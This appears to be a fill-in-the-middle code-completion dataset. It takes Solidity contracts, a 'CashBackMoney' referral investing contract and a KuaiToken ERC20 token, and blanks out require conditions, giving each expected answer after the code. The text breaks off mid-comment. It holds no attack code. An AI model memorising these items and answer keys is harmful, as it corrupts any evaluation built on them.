} /** * Accept payment */ function Pay(uint256 _level, uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawPay(uint256 _level, uint256 _amount) external onlyFixedAmount(_amount) { } /** * Accept payment and its automatic distribution */ function PayAll(uint256 _amount) internal onlyFixedAmount(_amount) { } /** * Withdraw all possible "pay" sum */ function WithdrawPayAll() public { } /** * Accept auto payment */ function AutoPay(uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawAutoPay(uint256 _amount) external onlyFixedAmount(_amount) { } /** * Buy subscription */ function Subscribe(uint256 _refererID) public payable onlyFixedAmountSubs(msg.value) { // If a RefererID is not yet assigned if (RefererID[msg.sender] == 0) { CreateRefererID(msg.sender); } require( RefererID[msg.sender] != _refererID, "Subscribe: you cannot be a referral to yourself" ); uint256 reward_amount = msg.value.perc(reward); uint256 Amount; if (msg.value == subs_amount_with_fee1) { Amount = subs_amount1; } else if (msg.value == subs_amount_with_fee2) { Amount = subs_amount2; } else if (msg.value == subs_amount_with_fee3) { Amount = subs_amount3; } else { require( true, "Subscribe: something went wrong, should not get here" ); } require(<FILL_ME>) // If a referrer is not yet installed if ((Referer[msg.sender] == 0) && (_refererID != 0)) { Referer[msg.sender] = _refererID; } // Add to Total if (Referer[msg.sender] != 0) { RefTotalIncome[RefererAddr[Referer[msg.sender]]] += msg.value; } uint256 Period = GetPeriod(now); if ( (Referer[msg.sender] != 0) && (!RefSubscStatus[msg.sender][Amount][Period]) ) { // numbers of subscriptions per period (RefSubscCount[referer address][payXamount][Period]) RefSubscCount[RefererAddr[Referer[msg .sender]]][Amount][Period] += 1; // only one subscription per period (RefSubscStatus[owner address][payXamount][Period]) RefSubscStatus[msg.sender][Amount][Period] = true; } Subscriptions[msg.sender][Amount] = now; reward_account.transfer(reward_amount); if (!Participants[msg.sender]) { Participants[msg.sender] = true; NumberOfParticipants += 1; } FundBalance += reward_amount; NumberOfSubscriptions += 1; emit AmountInvestedBySubscription(msg.sender, Amount); } /** * Withdraw "subscribe" amount */ function WithdrawSubscribe(uint256 _amount) external onlyFixedAmountWithdrawSubs(_amount) { } /** * Withdraw all possible "subscribe" amount */ function WithdrawSubscribeAll() internal { } /** * Withdraw amount calculation */ function WithdrawAmountCalculate(address _sender, uint256 _amount) internal returns (uint256) { } /** // Sets click referals in staging mode */ function SetRefClickCount(address _address, uint256 _sum, uint256 _count) external onlyInStagingMode { } /** // Sets autoclick owner operations for all amounts in current period in staging mode */ function SetOwnerAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets autoclick referals in staging mode */ function SetRefAutoClickCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets autoclick referals for all amounts in current period in staging mode */ function SetRefAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets subscription referals in staging mode */ function SetRefSubscCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets variables in staging mode */ function SetValues( uint256 _NumberOfParticipants, uint256 _NumberOfClicks, uint256 _NumberOfSubscriptions, uint256 _ProfitPayoutAmount, uint256 _FundBalance ) external onlyInStagingMode { } /** / Return current period */ function GetCurrentPeriod() external view returns (uint256 _period) { } /** / Return fixed period */ function GetFixedPeriod(uint256 _timestamp) external view returns (uint256 _period) { } /** * Returns number of active referals */ function GetAutoClickRefsNumber() external view returns (uint256 number_of_referrals) { } /** * Returns number of active subscribe referals */ function GetSubscribeRefsNumber(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 number_of_referrals) { } /** * Returns subscription investment income based on the number of active referrals */ function GetSubscribeIncome(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 income) { } /** * Returns the end time of a subscription */ function GetSubscribeFinish(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 finish) { } /** * Returns the near future possible withdraw */ function GetSubscribeNearPossiblePeriod(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 timestamp) { } /** * Create referer id (uint256) */ function CreateRefererID(address _referer) internal { } }
Subscriptions[msg.sender][Amount]==0,"Subscribe: subscription already paid"
379,271
Subscriptions[msg.sender][Amount]==0
"WithdrawSubscribe: subscription has not yet been paid"
pragma solidity ^0.5.10; import "./Agent.sol"; import "./SafeMath.sol"; import "./CashBackMoneyI.sol"; /** * @title CashBackMoney Investing Contract */ contract CashBackMoney is CashBackMoneyI, Agent { using SafeMath for uint256; // Constants uint256 public constant amount1 = 0.05 ether; uint256 public constant amount2 = 0.10 ether; uint256 public constant amount3 = 0.50 ether; uint256 public constant amount4 = 1.00 ether; uint256 public constant amount5 = 5.00 ether; uint256 public constant amount6 = 10.00 ether; uint256 public constant subs_amount1 = 1.00 ether; uint256 public constant subs_amount2 = 5.00 ether; uint256 public constant subs_amount3 = 10.00 ether; uint256 public constant subs_amount_with_fee1 = 1.18 ether; uint256 public constant subs_amount_with_fee2 = 5.90 ether; uint256 public constant subs_amount_with_fee3 = 11.80 ether; uint256 days1 = 1 days; uint256 hours24 = 24 hours; uint256 hours3 = 3 hours; // Variables bool public production = false; uint256 public deploy_block; address payable public reward_account; uint256 public reward; uint256 public start_point; uint256 public NumberOfParticipants = 0; uint256 public NumberOfClicks = 0; uint256 public NumberOfSubscriptions = 0; uint256 public ProfitPayoutAmount = 0; uint256 public FundBalance = 0; uint256 public LastRefererID = 0; // RefererID[referer address] mapping(address => uint256) public RefererID; // RefererAddr[referer ID] mapping(uint256 => address) public RefererAddr; // Referer[Referal address] mapping(address => uint256) public Referer; // Participants[address] mapping(address => bool) public Participants; // OwnerAmountStatus[owner address][payXamount] mapping(address => mapping(uint256 => bool)) public OwnerAmountStatus; // RefClickCount[referer address][payXamount] mapping(address => mapping(uint256 => uint256)) public RefClickCount; // OwnerTotalProfit[owner address] mapping(address => uint256) public OwnerTotalProfit; // RefTotalClicks[referer address] mapping(address => uint256) public RefTotalClicks; // RefTotalIncome[referer address] mapping(address => uint256) public RefTotalIncome; // Balances[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public Balances; // WithdrawDate[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public WithdrawDate; // OwnerAutoClickCount[owner address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public OwnerAutoClickCount; // RefAutoClickCount[referer address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefAutoClickCount; // AutoBalances[address][payXamount] mapping(address => mapping(uint256 => bool)) public AutoBalances; // WithdrawAutoDate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public WithdrawAutoDate; // Subscriptions[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Subscriptions; // Intermediate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Intermediate; // RefSubscCount[referer address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefSubscCount; // RefSubscStatus[owner address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public RefSubscStatus; // Events event ChangeContractBalance(string text); event ChangeClickRefefalNumbers( address indexed referer, uint256 amount, uint256 number ); event AmountInvestedByPay(address indexed owner, uint256 amount); event AmountInvestedByAutoPay(address indexed owner, uint256 amount); event AmountInvestedBySubscription(address indexed owner, uint256 amount); event AmountWithdrawnFromPay(address indexed owner, uint256 amount); event AmountWithdrawnFromAutoPay(address indexed owner, uint256 amount); event AmountWithdrawnFromSubscription( address indexed owner, uint256 amount ); /** * Contructor */ constructor( address payable _reward_account, uint256 _reward, uint256 _start_point, bool _mode ) public { } modifier onlyFixedAmount(uint256 _amount) { } modifier onlyFixedAmountSubs(uint256 _amount) { } modifier onlyFixedAmountWithdrawSubs(uint256 _amount) { } modifier onlyInStagingMode() { } /** * Pay or Withdraw all possible "pay" amount */ function() external payable { } /** * To replenish the balance of the contract */ function TopUpContract() external payable { } /** * GetPeriod - calculate period for all functions */ function GetPeriod(uint256 _timestamp) internal view returns (uint256 _period) { } /** * Accept payment */ function Pay(uint256 _level, uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawPay(uint256 _level, uint256 _amount) external onlyFixedAmount(_amount) { } /** * Accept payment and its automatic distribution */ function PayAll(uint256 _amount) internal onlyFixedAmount(_amount) { } /** * Withdraw all possible "pay" sum */ function WithdrawPayAll() public { } /** * Accept auto payment */ function AutoPay(uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawAutoPay(uint256 _amount) external onlyFixedAmount(_amount) { } /** * Buy subscription */ function Subscribe(uint256 _refererID) public payable onlyFixedAmountSubs(msg.value) { } /** * Withdraw "subscribe" amount */ function WithdrawSubscribe(uint256 _amount) external onlyFixedAmountWithdrawSubs(_amount) { require(<FILL_ME>) uint256 Start; uint256 Finish; uint256 Current = GetPeriod(now); Start = GetPeriod(Subscriptions[msg.sender][_amount]); Finish = Start + 30; require( Current > Start, "WithdrawSubscribe: the withdrawal time has not yet arrived" ); uint256 Amount = WithdrawAmountCalculate(msg.sender, _amount); msg.sender.transfer(Amount); ProfitPayoutAmount += Amount; emit AmountWithdrawnFromSubscription(msg.sender, Amount); } /** * Withdraw all possible "subscribe" amount */ function WithdrawSubscribeAll() internal { } /** * Withdraw amount calculation */ function WithdrawAmountCalculate(address _sender, uint256 _amount) internal returns (uint256) { } /** // Sets click referals in staging mode */ function SetRefClickCount(address _address, uint256 _sum, uint256 _count) external onlyInStagingMode { } /** // Sets autoclick owner operations for all amounts in current period in staging mode */ function SetOwnerAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets autoclick referals in staging mode */ function SetRefAutoClickCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets autoclick referals for all amounts in current period in staging mode */ function SetRefAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets subscription referals in staging mode */ function SetRefSubscCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets variables in staging mode */ function SetValues( uint256 _NumberOfParticipants, uint256 _NumberOfClicks, uint256 _NumberOfSubscriptions, uint256 _ProfitPayoutAmount, uint256 _FundBalance ) external onlyInStagingMode { } /** / Return current period */ function GetCurrentPeriod() external view returns (uint256 _period) { } /** / Return fixed period */ function GetFixedPeriod(uint256 _timestamp) external view returns (uint256 _period) { } /** * Returns number of active referals */ function GetAutoClickRefsNumber() external view returns (uint256 number_of_referrals) { } /** * Returns number of active subscribe referals */ function GetSubscribeRefsNumber(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 number_of_referrals) { } /** * Returns subscription investment income based on the number of active referrals */ function GetSubscribeIncome(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 income) { } /** * Returns the end time of a subscription */ function GetSubscribeFinish(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 finish) { } /** * Returns the near future possible withdraw */ function GetSubscribeNearPossiblePeriod(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 timestamp) { } /** * Create referer id (uint256) */ function CreateRefererID(address _referer) internal { } }
Subscriptions[msg.sender][_amount]>0,"WithdrawSubscribe: subscription has not yet been paid"
379,271
Subscriptions[msg.sender][_amount]>0
"CreateRefererID: referal id already assigned"
pragma solidity ^0.5.10; import "./Agent.sol"; import "./SafeMath.sol"; import "./CashBackMoneyI.sol"; /** * @title CashBackMoney Investing Contract */ contract CashBackMoney is CashBackMoneyI, Agent { using SafeMath for uint256; // Constants uint256 public constant amount1 = 0.05 ether; uint256 public constant amount2 = 0.10 ether; uint256 public constant amount3 = 0.50 ether; uint256 public constant amount4 = 1.00 ether; uint256 public constant amount5 = 5.00 ether; uint256 public constant amount6 = 10.00 ether; uint256 public constant subs_amount1 = 1.00 ether; uint256 public constant subs_amount2 = 5.00 ether; uint256 public constant subs_amount3 = 10.00 ether; uint256 public constant subs_amount_with_fee1 = 1.18 ether; uint256 public constant subs_amount_with_fee2 = 5.90 ether; uint256 public constant subs_amount_with_fee3 = 11.80 ether; uint256 days1 = 1 days; uint256 hours24 = 24 hours; uint256 hours3 = 3 hours; // Variables bool public production = false; uint256 public deploy_block; address payable public reward_account; uint256 public reward; uint256 public start_point; uint256 public NumberOfParticipants = 0; uint256 public NumberOfClicks = 0; uint256 public NumberOfSubscriptions = 0; uint256 public ProfitPayoutAmount = 0; uint256 public FundBalance = 0; uint256 public LastRefererID = 0; // RefererID[referer address] mapping(address => uint256) public RefererID; // RefererAddr[referer ID] mapping(uint256 => address) public RefererAddr; // Referer[Referal address] mapping(address => uint256) public Referer; // Participants[address] mapping(address => bool) public Participants; // OwnerAmountStatus[owner address][payXamount] mapping(address => mapping(uint256 => bool)) public OwnerAmountStatus; // RefClickCount[referer address][payXamount] mapping(address => mapping(uint256 => uint256)) public RefClickCount; // OwnerTotalProfit[owner address] mapping(address => uint256) public OwnerTotalProfit; // RefTotalClicks[referer address] mapping(address => uint256) public RefTotalClicks; // RefTotalIncome[referer address] mapping(address => uint256) public RefTotalIncome; // Balances[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public Balances; // WithdrawDate[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public WithdrawDate; // OwnerAutoClickCount[owner address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public OwnerAutoClickCount; // RefAutoClickCount[referer address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefAutoClickCount; // AutoBalances[address][payXamount] mapping(address => mapping(uint256 => bool)) public AutoBalances; // WithdrawAutoDate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public WithdrawAutoDate; // Subscriptions[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Subscriptions; // Intermediate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Intermediate; // RefSubscCount[referer address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefSubscCount; // RefSubscStatus[owner address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public RefSubscStatus; // Events event ChangeContractBalance(string text); event ChangeClickRefefalNumbers( address indexed referer, uint256 amount, uint256 number ); event AmountInvestedByPay(address indexed owner, uint256 amount); event AmountInvestedByAutoPay(address indexed owner, uint256 amount); event AmountInvestedBySubscription(address indexed owner, uint256 amount); event AmountWithdrawnFromPay(address indexed owner, uint256 amount); event AmountWithdrawnFromAutoPay(address indexed owner, uint256 amount); event AmountWithdrawnFromSubscription( address indexed owner, uint256 amount ); /** * Contructor */ constructor( address payable _reward_account, uint256 _reward, uint256 _start_point, bool _mode ) public { } modifier onlyFixedAmount(uint256 _amount) { } modifier onlyFixedAmountSubs(uint256 _amount) { } modifier onlyFixedAmountWithdrawSubs(uint256 _amount) { } modifier onlyInStagingMode() { } /** * Pay or Withdraw all possible "pay" amount */ function() external payable { } /** * To replenish the balance of the contract */ function TopUpContract() external payable { } /** * GetPeriod - calculate period for all functions */ function GetPeriod(uint256 _timestamp) internal view returns (uint256 _period) { } /** * Accept payment */ function Pay(uint256 _level, uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawPay(uint256 _level, uint256 _amount) external onlyFixedAmount(_amount) { } /** * Accept payment and its automatic distribution */ function PayAll(uint256 _amount) internal onlyFixedAmount(_amount) { } /** * Withdraw all possible "pay" sum */ function WithdrawPayAll() public { } /** * Accept auto payment */ function AutoPay(uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawAutoPay(uint256 _amount) external onlyFixedAmount(_amount) { } /** * Buy subscription */ function Subscribe(uint256 _refererID) public payable onlyFixedAmountSubs(msg.value) { } /** * Withdraw "subscribe" amount */ function WithdrawSubscribe(uint256 _amount) external onlyFixedAmountWithdrawSubs(_amount) { } /** * Withdraw all possible "subscribe" amount */ function WithdrawSubscribeAll() internal { } /** * Withdraw amount calculation */ function WithdrawAmountCalculate(address _sender, uint256 _amount) internal returns (uint256) { } /** // Sets click referals in staging mode */ function SetRefClickCount(address _address, uint256 _sum, uint256 _count) external onlyInStagingMode { } /** // Sets autoclick owner operations for all amounts in current period in staging mode */ function SetOwnerAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets autoclick referals in staging mode */ function SetRefAutoClickCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets autoclick referals for all amounts in current period in staging mode */ function SetRefAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets subscription referals in staging mode */ function SetRefSubscCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets variables in staging mode */ function SetValues( uint256 _NumberOfParticipants, uint256 _NumberOfClicks, uint256 _NumberOfSubscriptions, uint256 _ProfitPayoutAmount, uint256 _FundBalance ) external onlyInStagingMode { } /** / Return current period */ function GetCurrentPeriod() external view returns (uint256 _period) { } /** / Return fixed period */ function GetFixedPeriod(uint256 _timestamp) external view returns (uint256 _period) { } /** * Returns number of active referals */ function GetAutoClickRefsNumber() external view returns (uint256 number_of_referrals) { } /** * Returns number of active subscribe referals */ function GetSubscribeRefsNumber(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 number_of_referrals) { } /** * Returns subscription investment income based on the number of active referrals */ function GetSubscribeIncome(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 income) { } /** * Returns the end time of a subscription */ function GetSubscribeFinish(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 finish) { } /** * Returns the near future possible withdraw */ function GetSubscribeNearPossiblePeriod(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 timestamp) { } /** * Create referer id (uint256) */ function CreateRefererID(address _referer) internal { require(<FILL_ME>) bytes32 hash = keccak256(abi.encodePacked(now, _referer)); RefererID[_referer] = LastRefererID.add((uint256(hash) % 13) + 1); LastRefererID = RefererID[_referer]; RefererAddr[LastRefererID] = _referer; } }
RefererID[_referer]==0,"CreateRefererID: referal id already assigned"
379,271
RefererID[_referer]==0
null
pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library DateTime { /* * Date and Time utilities for ethereum contracts * */ struct MyDateTime { uint16 year; uint8 month; uint8 day; uint8 hour; uint8 minute; uint8 second; uint8 weekday; } uint constant DAY_IN_SECONDS = 86400; uint constant YEAR_IN_SECONDS = 31536000; uint constant LEAP_YEAR_IN_SECONDS = 31622400; uint constant HOUR_IN_SECONDS = 3600; uint constant MINUTE_IN_SECONDS = 60; uint16 constant ORIGIN_YEAR = 1970; function isLeapYear(uint16 year) constant returns (bool) { } function leapYearsBefore(uint year) constant returns (uint) { } function getDaysInMonth(uint8 month, uint16 year) constant returns (uint8) { } function parseTimestamp(uint timestamp) internal returns (MyDateTime dt) { } function getYear(uint timestamp) constant returns (uint16) { } function getMonth(uint timestamp) constant returns (uint8) { } function getDay(uint timestamp) constant returns (uint8) { } function getHour(uint timestamp) constant returns (uint8) { } function getMinute(uint timestamp) constant returns (uint8) { } function getSecond(uint timestamp) constant returns (uint8) { } function toTimestamp(uint16 year, uint8 month, uint8 day) constant returns (uint timestamp) { } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) constant returns (uint timestamp) { } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner { } } contract Operational is Claimable { address public operator; function Operational(address _operator) { } modifier onlyOperator() { } function transferOperator(address newOperator) onlyOwner { } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { } function div(uint256 a, uint256 b) internal constant returns (uint256) { } function sub(uint256 a, uint256 b) internal constant returns (uint256) { } function add(uint256 a, uint256 b) internal constant returns (uint256) { } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { } } /** * @title Helps contracts guard agains rentrancy attacks. * @author Remco Bloemen <remco@2π.com> * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. */ contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private rentrancy_lock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public returns (bool) { } } contract BonusToken is BurnableToken, Operational { using SafeMath for uint; using DateTime for uint256; uint256 public createTime; uint256 standardDecimals = 100000000; uint256 minMakeBonusAmount = standardDecimals.mul(10); function BonusToken( address operator ) Operational(operator) {} function makeBonus(address[] _to, uint256[] _bonus) onlyOperator returns(bool) { for(uint i = 0; i < _to.length; i++){ require(<FILL_ME>) } return true; } } contract KuaiMintableToken is BonusToken { uint256 public standardDailyLimit; // maximum amount of token can mint per day uint256 public dailyLimitLeft = standardDecimals.mul(1000000); // daily limit left uint256 public lastMintTime = 0; event Mint(address indexed operator, uint256 value, uint256 mintTime); event SetDailyLimit(address indexed operator, uint256 time); function KuaiMintableToken( address operator, uint256 _dailyLimit ) BonusToken(operator) { } // mint mintAmount token function mint(uint256 mintAmount) onlyOperator returns(uint256 _actualRelease) { } function judgeIsReachDailyLimit(uint256 mintAmount, uint256 timestamp) internal returns(bool _exist) { } // set standard daily limit function setDailyLimit(uint256 _dailyLimit) onlyOwner returns(bool){ } } contract KuaiToken is KuaiMintableToken { string public standard = '2018010901'; string public name = 'KuaiToken'; string public symbol = 'KT'; uint8 public decimals = 8; function KuaiToken( address operator, uint256 dailyLimit ) KuaiMintableToken(operator, dailyLimit) {} }
transfer(_to[i],_bonus[i])
379,295
transfer(_to[i],_bonus[i])
null
pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library DateTime { /* * Date and Time utilities for ethereum contracts * */ struct MyDateTime { uint16 year; uint8 month; uint8 day; uint8 hour; uint8 minute; uint8 second; uint8 weekday; } uint constant DAY_IN_SECONDS = 86400; uint constant YEAR_IN_SECONDS = 31536000; uint constant LEAP_YEAR_IN_SECONDS = 31622400; uint constant HOUR_IN_SECONDS = 3600; uint constant MINUTE_IN_SECONDS = 60; uint16 constant ORIGIN_YEAR = 1970; function isLeapYear(uint16 year) constant returns (bool) { } function leapYearsBefore(uint year) constant returns (uint) { } function getDaysInMonth(uint8 month, uint16 year) constant returns (uint8) { } function parseTimestamp(uint timestamp) internal returns (MyDateTime dt) { } function getYear(uint timestamp) constant returns (uint16) { } function getMonth(uint timestamp) constant returns (uint8) { } function getDay(uint timestamp) constant returns (uint8) { } function getHour(uint timestamp) constant returns (uint8) { } function getMinute(uint timestamp) constant returns (uint8) { } function getSecond(uint timestamp) constant returns (uint8) { } function toTimestamp(uint16 year, uint8 month, uint8 day) constant returns (uint timestamp) { } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) constant returns (uint timestamp) { } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner { } } contract Operational is Claimable { address public operator; function Operational(address _operator) { } modifier onlyOperator() { } function transferOperator(address newOperator) onlyOwner { } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { } function div(uint256 a, uint256 b) internal constant returns (uint256) { } function sub(uint256 a, uint256 b) internal constant returns (uint256) { } function add(uint256 a, uint256 b) internal constant returns (uint256) { } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { } } /** * @title Helps contracts guard agains rentrancy attacks. * @author Remco 